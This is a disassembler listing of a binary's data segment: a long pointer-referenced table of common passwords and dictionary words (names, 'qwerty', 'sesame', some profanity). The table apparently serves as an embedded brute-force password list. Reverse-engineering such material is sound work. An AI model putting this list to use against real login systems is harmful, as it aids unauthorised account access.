aSuccess	db 'success',0          ; DATA XREF: seg001:0042DA94o
aSubway		db 'subway',0           ; DATA XREF: seg001:0042DA90o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: seg001:0042DA8Co
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg001:0042DA88o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg001:0042DA80o
		align 10h
aString		db 'string',0           ; DATA XREF: seg001:0042DA7Co
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg001:0042DA78o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg001:0042DA74o
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: seg001:0042DA70o
		align 4
aStrange	db 'strange',0          ; DATA XREF: seg001:0042DA6Co
aStones		db 'stones',0           ; DATA XREF: seg001:0042DA68o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: seg001:0042DA64o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg001:0042DA60o
		align 10h
aSteve		db 'steve',0            ; DATA XREF: seg001:0042DA5Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg001:0042DA58o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: seg001:0042DA54o
		align 4
aSteph		db 'steph',0            ; DATA XREF: seg001:0042DA50o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg001:0042DA4Co
		align 4
aSteal		db 'steal',0            ; DATA XREF: seg001:0042DA48o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg001:0042DA44o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: seg001:0042DA40o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg001:0042DA3Co
aStartrek	db 'startrek',0         ; DATA XREF: seg001:0042DA38o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40CD3A+1E47o
					; seg001:0042DA34o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg001:0042DA30o
		align 10h
aStar		db 'star',0             ; DATA XREF: seg001:0042DA2Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg001:0042DA28o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: seg001:0042DA24o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg001:0042DA20o
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: seg001:0042DA1Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg001:0042DA18o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: seg001:0042DA14o
aSpunk		db 'spunk',0            ; DATA XREF: seg001:0042DA10o
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: seg001:0042DA0Co
		align 4
aSpring		db 'spring',0           ; DATA XREF: seg001:0042DA08o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg001:0042DA04o
		align 4
aSpit		db 'spit',0             ; DATA XREF: seg001:0042DA00o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg001:0042D9FCo
		align 10h
aSpider		db 'spider',0           ; DATA XREF: seg001:0042D9F8o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg001:0042D9F4o
		align 10h
aSpell		db 'spell',0            ; DATA XREF: seg001:0042D9F0o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg001:0042D9ECo
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: seg001:0042D9E8o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg001:0042D9E4o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg001:0042D9E0o
		align 10h
aSource		db 'source',0           ; DATA XREF: seg001:0042D9DCo
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg001:0042D9D8o
aSonya		db 'sonya',0            ; DATA XREF: seg001:0042D9D4o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg001:0042D9D0o
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: seg001:0042D9CCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg001:0042D9C8o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: seg001:0042D9C4o
		align 4
aSoftware	db 'software',0         ; DATA XREF: seg001:0042D9C0o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg001:0042D9BCo
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: seg001:0042D9B8o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg001:0042D9B4o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg001:0042D9B0o
		align 4
aSoap		db 'soap',0             ; DATA XREF: seg001:0042D9ACo
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg001:0042D9A8o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: seg001:0042D9A4o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg001:0042D9A0o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: seg001:0042D99Co
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg001:0042D998o
		align 4
aSmut		db 'smut',0             ; DATA XREF: seg001:0042D994o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg001:0042D990o
		align 4
aSmother	db 'smother',0          ; DATA XREF: seg001:0042D98Co
aSmooch		db 'smooch',0           ; DATA XREF: seg001:0042D988o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: seg001:0042D984o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg001:0042D980o
		align 4
aSmart		db 'smart',0            ; DATA XREF: seg001:0042D97Co
		align 4
aSmall		db 'small',0            ; DATA XREF: seg001:0042D978o
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg001:0042D974o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg001:0042D970o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: seg001:0042D96Co
aSlick		db 'slick',0            ; DATA XREF: seg001:0042D968o
		align 4
aSlave		db 'slave',0            ; DATA XREF: seg001:0042D964o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg001:0042D960o
		align 4
aSite		db 'site',0             ; DATA XREF: seg001:0042D95Co
		align 4
aSingle		db 'single',0           ; DATA XREF: seg001:0042D958o
		align 4
aSinger		db 'singer',0           ; DATA XREF: seg001:0042D954o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg001:0042D950o
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: seg001:0042D94Co
		align 4
aSimple		db 'simple',0           ; DATA XREF: seg001:0042D948o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg001:0042D944o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: seg001:0042D940o
aSilver		db 'silver',0           ; DATA XREF: seg001:0042D93Co
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: seg001:0042D938o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg001:0042D934o
		align 10h
aSick		db 'sick',0             ; DATA XREF: seg001:0042D930o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg001:0042D92Co
aShort		db 'short',0            ; DATA XREF: seg001:0042D928o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg001:0042D924o
aShiva		db 'shiva',0            ; DATA XREF: seg001:0042D920o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg001:0042D91Co
aShit		db 'shit',0             ; DATA XREF: seg001:0042D918o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg001:0042D914o
aShift		db 'shift',0            ; DATA XREF: seg001:0042D910o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg001:0042D90Co
		align 10h
aShell		db 'shell',0            ; DATA XREF: seg001:0042D908o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg001:0042D904o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg001:0042D900o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: seg001:0042D8FCo
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg001:0042D8F8o
		align 4
aShark		db 'shark',0            ; DATA XREF: seg001:0042D8F4o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg001:0042D8F0o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: seg001:0042D8ECo
aSexy		db 'sexy',0             ; DATA XREF: seg001:0042D8E8o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: seg001:0042D8E4o
		align 4
aService	db 'service',0          ; DATA XREF: seg001:0042D8E0o
					; seg001:0042E4A8o
aSerial_0	db 'serial',0           ; DATA XREF: seg001:0042D8DCo
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg001:0042D8D8o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: seg001:0042D8D4o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg001:0042D8D0o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg001:0042D8CCo
		align 4
aSega		db 'sega',0             ; DATA XREF: seg001:0042D8C8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg001:0042D8C4o
		align 4
aSecurity	db 'security',0         ; DATA XREF: seg001:0042D8C0o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg001:0042D8BCo
		align 10h
aScout		db 'scout',0            ; DATA XREF: seg001:0042D8B8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg001:0042D8B4o
		align 10h
aScott		db 'scott',0            ; DATA XREF: seg001:0042D8B0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg001:0042D8ACo
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg001:0042D8A8o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg001:0042D8A4o
aSchool		db 'school',0           ; DATA XREF: seg001:0042D8A0o
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: seg001:0042D89Co
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg001:0042D898o
aSaxon		db 'saxon',0            ; DATA XREF: seg001:0042D894o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg001:0042D890o
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: seg001:0042D88Co
		align 4
aSarah		db 'sarah',0            ; DATA XREF: seg001:0042D888o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg001:0042D884o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: seg001:0042D880o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg001:0042D87Co
		align 4
aSample		db 'sample',0           ; DATA XREF: seg001:0042D878o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg001:0042D874o
		align 10h
aSalt		db 'salt',0             ; DATA XREF: seg001:0042D870o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg001:0042D86Co
		align 10h
aSalami		db 'salami',0           ; DATA XREF: seg001:0042D868o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg001:0042D864o
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: seg001:0042D860o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg001:0042D85Co
		align 10h
aRunning	db 'running',0          ; DATA XREF: seg001:0042D858o
aRules		db 'rules',0            ; DATA XREF: seg001:0042D854o
		align 10h
aRude		db 'rude',0             ; DATA XREF: seg001:0042D850o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg001:0042D84Co
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: seg001:0042D848o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg001:0042D844o
		align 10h
aRough		db 'rough',0            ; DATA XREF: seg001:0042D840o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg001:0042D83Co
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: seg001:0042D838o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: seg001:0042D834o
aRose		db 'rose',0             ; DATA XREF: seg001:0042D830o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: seg001:0042D82Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg001:0042D828o
aRomeo		db 'romeo',0            ; DATA XREF: seg001:0042D824o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg001:0042D820o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: seg001:0042D81Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg001:0042D818o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg001:0042D814o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg001:0042D810o
		align 10h
aRock		db 'rock',0             ; DATA XREF: seg001:0042D80Co
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg001:0042D808o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg001:0042D804o
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: seg001:0042D800o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg001:0042D7FCo
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg001:0042D7F8o
		align 4
aRobin		db 'robin',0            ; DATA XREF: seg001:0042D7F4o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg001:0042D7F0o
		align 4
aRoach		db 'roach',0            ; DATA XREF: seg001:0042D7ECo
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg001:0042D7E8o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: seg001:0042D7E4o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg001:0042D7E0o
		align 4
aRing		db 'ring',0             ; DATA XREF: seg001:0042D7DCo
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg001:0042D7D8o
		align 10h
aRight		db 'right',0            ; DATA XREF: seg001:0042D7D4o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg001:0042D7D0o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg001:0042D7CCo
		align 4
aRich		db 'rich',0             ; DATA XREF: seg001:0042D7C8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg001:0042D7C4o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: seg001:0042D7C0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg001:0042D7BCo
		align 10h
aRepublic	db 'republic',0         ; DATA XREF: seg001:0042D7B8o
		align 4
aReport		db 'report',0           ; DATA XREF: seg001:0042D7B4o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg001:0042D7B0o
		align 4
aReno		db 'reno',0             ; DATA XREF: seg001:0042D7ACo
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg001:0042D7A8o
		align 4
aRemote		db 'remote',0           ; DATA XREF: seg001:0042D7A4o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg001:0042D7A0o
aRegional	db 'regional',0         ; DATA XREF: seg001:0042D79Co
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg001:0042D798o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg001:0042D794o
aReddawn	db 'reddawn',0          ; DATA XREF: seg001:0042D790o
aRecord		db 'record',0           ; DATA XREF: seg001:0042D78Co
		align 4
aRebel		db 'rebel',0            ; DATA XREF: seg001:0042D788o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg001:0042D784o
aRebal		db 'rebal',0            ; DATA XREF: seg001:0042D780o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg001:0042D77Co
		align 4
aReam		db 'ream',0             ; DATA XREF: seg001:0042D778o
		align 4
aReally		db 'really',0           ; DATA XREF: seg001:0042D774o
		align 4
aReality	db 'reality',0          ; DATA XREF: seg001:0042D770o
aReagan		db 'reagan',0           ; DATA XREF: seg001:0042D76Co
		align 4
aRazor		db 'razor',0            ; DATA XREF: seg001:0042D768o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg001:0042D764o
		align 4
aRape		db 'rape',0             ; DATA XREF: seg001:0042D760o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg001:0042D758o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg001:0042D754o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg001:0042D750o
aRain		db 'rain',0             ; DATA XREF: seg001:0042D74Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg001:0042D748o
		align 10h
aRachmani	db 'rachmani',0         ; DATA XREF: seg001:0042D744o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg001:0042D740o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg001:0042D73Co
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: seg001:0042D738o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg001:0042D734o
					; seg001:0042E48Co
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: seg001:0042D730o
					; seg001:0042E488o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg001:0042D72Co
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: seg001:0042D728o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg001:0042D724o
		align 10h
aPunk		db 'punk',0             ; DATA XREF: seg001:0042D720o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg001:0042D71Co
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg001:0042D718o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg001:0042D714o
aPuke		db 'puke',0             ; DATA XREF: seg001:0042D710o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg001:0042D70Co
		align 4
aPublic		db 'public',0           ; DATA XREF: seg001:0042D708o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg001:0042D704o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg001:0042D700o
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: seg001:0042D6FCo
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg001:0042D6F8o
aPrompt		db 'prompt',0           ; DATA XREF: seg001:0042D6F4o
		align 4
aProgram	db 'program',0          ; DATA XREF: seg001:0042D6F0o
aProfile	db 'profile',0          ; DATA XREF: seg001:0042D6ECo
aProfesso	db 'professo',0         ; DATA XREF: seg001:0042D6E8o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg001:0042D6E4o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg001:0042D6E0o
aPrivs		db 'privs',0            ; DATA XREF: seg001:0042D6DCo
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg001:0042D6D8o
aPriv		db 'priv',0             ; DATA XREF: seg001:0042D6D4o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg001:0042D6D0o
aPrinceto	db 'princeto',0         ; DATA XREF: seg001:0042D6CCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg001:0042D6C8o
		align 10h
aPresto		db 'presto',0           ; DATA XREF: seg001:0042D6C4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg001:0042D6C0o
aPrecious	db 'precious',0         ; DATA XREF: seg001:0042D6BCo
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg001:0042D6B8o
		align 4
aPower		db 'power',0            ; DATA XREF: seg001:0042D6B4o
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg001:0042D6B0o
		align 4
aPost		db 'post',0             ; DATA XREF: seg001:0042D6ACo
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg001:0042D6A8o
aPorno		db 'porno',0            ; DATA XREF: seg001:0042D6A4o
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg001:0042D6A0o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg001:0042D69Co
		align 4
aPoor		db 'poor',0             ; DATA XREF: seg001:0042D698o
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg001:0042D694o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: seg001:0042D690o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg001:0042D68Co
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg001:0042D688o
		align 4
aPolice		db 'police',0           ; DATA XREF: seg001:0042D684o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg001:0042D680o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg001:0042D67Co
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg001:0042D678o
		align 10h
aPlover		db 'plover',0           ; DATA XREF: seg001:0042D674o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg001:0042D670o
aPlane		db 'plane',0            ; DATA XREF: seg001:0042D66Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg001:0042D668o
		align 10h
aPiss		db 'piss',0             ; DATA XREF: seg001:0042D664o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg001:0042D660o
aPimp		db 'pimp',0             ; DATA XREF: seg001:0042D65Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg001:0042D658o
		align 10h
aPick		db 'pick',0             ; DATA XREF: seg001:0042D654o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg001:0042D650o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: seg001:0042D64Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg001:0042D648o
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: seg001:0042D644o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg001:0042D640o
		align 10h
aPhone		db 'phone',0            ; DATA XREF: seg001:0042D63Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg001:0042D638o
aPhilip		db 'philip',0           ; DATA XREF: seg001:0042D634o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg001:0042D630o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: seg001:0042D62Co
		align 4
aPete		db 'pete',0             ; DATA XREF: seg001:0042D628o
		align 10h
aPervert	db 'pervert',0          ; DATA XREF: seg001:0042D624o
aPersona	db 'persona',0          ; DATA XREF: seg001:0042D620o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg001:0042D61Co
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg001:0042D618o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg001:0042D614o
aPercolat	db 'percolat',0         ; DATA XREF: seg001:0042D610o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg001:0042D60Co
		align 10h
aPeoria		db 'peoria',0           ; DATA XREF: seg001:0042D608o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg001:0042D604o
aPenthous	db 'penthous',0         ; DATA XREF: seg001:0042D600o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: seg001:0042D5FCo
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg001:0042D5F8o
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg001:0042D5F4o
aPenis		db 'penis',0            ; DATA XREF: seg001:0042D5F0o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg001:0042D5ECo
aPenelope	db 'penelope',0         ; DATA XREF: seg001:0042D5E8o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg001:0042D5E4o
		align 10h
aPecker		db 'pecker',0           ; DATA XREF: seg001:0042D5E0o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg001:0042D5DCo
aPaula		db 'paula',0            ; DATA XREF: seg001:0042D5D8o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg001:0042D5D4o
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: seg001:0042D5D0o
aPatricia	db 'patricia',0         ; DATA XREF: seg001:0042D5CCo
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg001:0042D5C8o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: seg001:0042D5C4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg001:0042D5C0o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: seg001:0042D5BCo
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg001:0042D5B8o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: seg001:0042D5B4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg001:0042D5B0o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: seg001:0042D5ACo
		align 4
aPaint		db 'paint',0            ; DATA XREF: seg001:0042D5A8o
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg001:0042D5A4o
		align 10h
aPacker		db 'packer',0           ; DATA XREF: seg001:0042D5A0o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg001:0042D59Co
aPacific	db 'pacific',0          ; DATA XREF: seg001:0042D598o
aOxford		db 'oxford',0           ; DATA XREF: seg001:0042D594o
		align 10h
aOutside	db 'outside',0          ; DATA XREF: seg001:0042D590o
aOutput		db 'output',0           ; DATA XREF: seg001:0042D58Co
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: seg001:0042D588o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg001:0042D584o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg001:0042D580o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: seg001:0042D57Co
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg001:0042D578o
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg001:0042D574o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg001:0042D570o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg001:0042D56Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg001:0042D568o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg001:0042D564o
		align 10h
aOpening	db 'opening',0          ; DATA XREF: seg001:0042D560o
aOmega		db 'omega',0            ; DATA XREF: seg001:0042D558o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: seg001:0042D554o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg001:0042D550o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg001:0042D54Co
		align 4
aOkay		db 'okay',0             ; DATA XREF: seg001:0042D548o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg001:0042D544o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: seg001:0042D540o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg001:0042D53Co
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: seg001:0042D538o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: seg001:0042D534o
aNuts		db 'nuts',0             ; DATA XREF: seg001:0042D530o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: seg001:0042D52Co
		align 4
aNumber		db 'number',0           ; DATA XREF: seg001:0042D528o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: seg001:0042D524o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg001:0042D520o
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: seg001:0042D51Co
		align 4
aNude		db 'nude',0             ; DATA XREF: seg001:0042D518o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: seg001:0042D514o
aNoxious	db 'noxious',0          ; DATA XREF: seg001:0042D510o
aNovember	db 'november',0         ; DATA XREF: seg001:0042D50Co
		align 4
aNovel		db 'novel',0            ; DATA XREF: seg001:0042D508o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg001:0042D504o
		align 4
aNoth		db 'noth',0             ; DATA XREF: seg001:0042D500o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg001:0042D4FCo
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: seg001:0042D4F8o
		align 4
aNode		db 'node',0             ; DATA XREF: seg001:0042D4F4o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: seg001:0042D4F0o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg001:0042D4ECo
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg001:0042D4E8o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg001:0042D4E4o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: seg001:0042D4E0o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg001:0042D4DCo
		align 4
aNight		db 'night',0            ; DATA XREF: seg001:0042D4D8o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: seg001:0042D4D4o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg001:0042D4D0o
		align 10h
aNice		db 'nice',0             ; DATA XREF: seg001:0042D4CCo
		align 4
aNext		db 'next',0             ; DATA XREF: seg001:0042D4C8o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: seg001:0042D4C4o
aNewton		db 'newton',0           ; DATA XREF: seg001:0042D4C0o
		align 10h
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg001:0042D4BCo
		align 4
aNews		db 'news',0             ; DATA XREF: seg001:0042D4B8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg001:0042D4B4o
aNetwork_0	db 'network',0          ; DATA XREF: seg001:0042D4B0o
aNetscape	db 'netscape',0         ; DATA XREF: seg001:0042D4ACo
		align 10h
aNess		db 'ness',0             ; DATA XREF: seg001:0042D4A8o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg001:0042D4A4o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg001:0042D4A0o
		align 4
aNavy		db 'navy',0             ; DATA XREF: seg001:0042D49Co
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg001:0042D498o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: seg001:0042D494o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg001:0042D490o
		align 10h
aName		db 'name',0             ; DATA XREF: seg001:0042D48Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg001:0042D488o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: seg001:0042D484o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg001:0042D480o
aMsdos		db 'msdos',0            ; DATA XREF: seg001:0042D47Co
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg001:0042D478o
		align 10h
